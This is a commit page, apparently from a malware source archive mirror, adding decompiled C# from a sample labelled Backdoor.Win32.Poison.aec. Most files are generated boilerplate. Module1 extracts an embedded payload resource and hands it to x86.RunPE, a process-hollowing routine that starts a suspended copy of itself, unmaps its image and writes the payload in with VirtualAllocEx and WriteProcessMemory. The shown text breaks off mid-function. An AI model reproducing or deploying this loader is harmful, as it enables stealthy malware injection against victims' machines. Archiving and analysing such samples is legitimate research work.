mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-21 02:09:25 +00:00
auto-decompiled msil via petikvx
add
This commit is contained in:
+13
@@ -0,0 +1,13 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyDescription("1")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2010")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyTitle("Cursor")]
|
||||
[assembly: AssemblyProduct("Cursor")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
+52
@@ -0,0 +1,52 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{CFD318BA-72D0-41F6-BAD3-1B05A5894626}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Cursor</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>Cursor</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Module1.cs" />
|
||||
<Compile Include="x86.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="My\MySettings.cs" />
|
||||
<Compile Include="My\MySettingsProperty.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.csproj", "{CFD318BA-72D0-41F6-BAD3-1B05A5894626}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{CFD318BA-72D0-41F6-BAD3-1B05A5894626}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{CFD318BA-72D0-41F6-BAD3-1B05A5894626}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{CFD318BA-72D0-41F6-BAD3-1B05A5894626}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{CFD318BA-72D0-41F6-BAD3-1B05A5894626}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Cursor.Module1
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B3356960-2D13-4E8B-9A22-3EBE56F6B0CE
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Cursor
|
||||
{
|
||||
[StandardModule]
|
||||
internal sealed class Module1
|
||||
{
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType);
|
||||
|
||||
[DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName);
|
||||
|
||||
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
private static extern int SizeofResource(IntPtr hModule, IntPtr hResInfo);
|
||||
|
||||
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
private static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo);
|
||||
|
||||
[STAThread]
|
||||
public static void Main()
|
||||
{
|
||||
string moduleName = Process.GetCurrentProcess().MainModule.ModuleName;
|
||||
IntPtr moduleHandle = Module1.GetModuleHandle(ref moduleName);
|
||||
IntPtr resource = Module1.FindResource(moduleHandle, "69", "GAY");
|
||||
IntPtr source = Module1.LoadResource(moduleHandle, resource);
|
||||
int length = Module1.SizeofResource(moduleHandle, resource);
|
||||
byte[] numArray = new byte[checked (length - 1 + 1)];
|
||||
Marshal.Copy(source, numArray, 0, length);
|
||||
x86.RunPE(numArray, Process.GetCurrentProcess().MainModule.FileName);
|
||||
}
|
||||
}
|
||||
}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Cursor.My.MyApplication
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B3356960-2D13-4E8B-9A22-3EBE56F6B0CE
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Cursor.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : ConsoleApplicationBase
|
||||
{
|
||||
[DebuggerNonUserCode]
|
||||
public MyApplication()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Cursor.My.MyComputer
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B3356960-2D13-4E8B-9A22-3EBE56F6B0CE
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Cursor.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+194
@@ -0,0 +1,194 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Cursor.My.MyProject
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B3356960-2D13-4E8B-9A22-3EBE56F6B0CE
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Cursor.My
|
||||
{
|
||||
[StandardModule]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[HideModuleName]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static MyProject.MyForms Forms
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyForms
|
||||
{
|
||||
[ThreadStatic]
|
||||
private static Hashtable m_FormBeingCreated;
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T Instance) where T : Form, new()
|
||||
{
|
||||
if ((object) Instance != null && !Instance.IsDisposed)
|
||||
return Instance;
|
||||
if (MyProject.MyForms.m_FormBeingCreated != null)
|
||||
{
|
||||
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
|
||||
}
|
||||
else
|
||||
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
|
||||
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
|
||||
try
|
||||
{
|
||||
return new T();
|
||||
}
|
||||
catch (TargetInvocationException ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
ProjectData.SetProjectError((Exception) ex);
|
||||
if (ex.InnerException != null)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
|
||||
}
|
||||
finally
|
||||
{
|
||||
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) where T : Form
|
||||
{
|
||||
instance.Dispose();
|
||||
instance = default (T);
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyForms()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyForms);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[ComVisible(false)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Cursor.My.MySettings
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B3356960-2D13-4E8B-9A22-3EBE56F6B0CE
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.exe
|
||||
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Cursor.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
public static MySettings Default => MySettings.defaultInstance;
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Cursor.My.MySettingsProperty
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B3356960-2D13-4E8B-9A22-3EBE56F6B0CE
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Cursor.My
|
||||
{
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
internal sealed class MySettingsProperty
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings => MySettings.Default;
|
||||
}
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Cursor.My.Resources.Resources
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B3356960-2D13-4E8B-9A22-3EBE56F6B0CE
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Cursor.My.Resources
|
||||
{
|
||||
[DebuggerNonUserCode]
|
||||
[CompilerGenerated]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) Cursor.My.Resources.Resources.resourceMan, (object) null))
|
||||
Cursor.My.Resources.Resources.resourceMan = new ResourceManager("Cursor.Resources", typeof (Cursor.My.Resources.Resources).Assembly);
|
||||
return Cursor.My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => Cursor.My.Resources.Resources.resourceCulture;
|
||||
set => Cursor.My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+170
@@ -0,0 +1,170 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Cursor.x86
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B3356960-2D13-4E8B-9A22-3EBE56F6B0CE
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-2b0740b68917a42d6ada501b21334e0148d2019f46109d3bfe3a1b17ed23caa8.exe
|
||||
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Text;
|
||||
|
||||
namespace Cursor
|
||||
{
|
||||
public class x86
|
||||
{
|
||||
private static readonly int[] prot = new int[8]
|
||||
{
|
||||
1,
|
||||
16,
|
||||
2,
|
||||
32,
|
||||
4,
|
||||
64,
|
||||
4,
|
||||
64
|
||||
};
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public x86()
|
||||
{
|
||||
}
|
||||
|
||||
public static void RunPE(byte[] bytes, string surrogateProcess)
|
||||
{
|
||||
int int32 = BitConverter.ToInt32(bytes, 60);
|
||||
int int16 = (int) BitConverter.ToInt16(bytes, checked (int32 + 6));
|
||||
IntPtr size1 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 84)));
|
||||
byte[] sInfo = new byte[68];
|
||||
IntPtr[] pInfo = new IntPtr[4];
|
||||
IntPtr num1;
|
||||
if (!x86.Win32.CreateProcess((string) null, new StringBuilder(surrogateProcess), num1, num1, false, 4, num1, (string) null, sInfo, pInfo))
|
||||
return;
|
||||
uint[] ctxt = new uint[179];
|
||||
ctxt[0] = 65538U;
|
||||
IntPtr bufr;
|
||||
IntPtr numRead;
|
||||
if (x86.Win32.GetThreadContext(pInfo[1], ctxt) && x86.Win32.ReadProcessMemory(pInfo[0], new IntPtr(checked ((long) ctxt[41] + 8L)), ref bufr, new IntPtr(4), ref numRead) && x86.Win32.NtUnmapViewOfSection(pInfo[0], bufr) == 0U)
|
||||
{
|
||||
IntPtr hProc1 = pInfo[0];
|
||||
IntPtr num2 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 52)));
|
||||
IntPtr addr1 = num2;
|
||||
IntPtr num3 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 80)));
|
||||
IntPtr size2 = num3;
|
||||
IntPtr baseAddr1 = x86.Win32.VirtualAllocEx(hProc1, addr1, size2, 12288, 64);
|
||||
bool flag = x86.Win32.WriteProcessMemory(pInfo[0], baseAddr1, bytes, size1, ref numRead);
|
||||
int num4 = checked (int16 - 1);
|
||||
int num5 = 0;
|
||||
while (num5 <= num4)
|
||||
{
|
||||
int[] dst1 = new int[10];
|
||||
Buffer.BlockCopy((Array) bytes, checked (int32 + 248 + num5 * 40), (Array) dst1, 0, 40);
|
||||
byte[] dst2 = new byte[checked (dst1[4] - 1 + 1)];
|
||||
Buffer.BlockCopy((Array) bytes, dst1[5], (Array) dst2, 0, dst2.Length);
|
||||
IntPtr hProc2 = pInfo[0];
|
||||
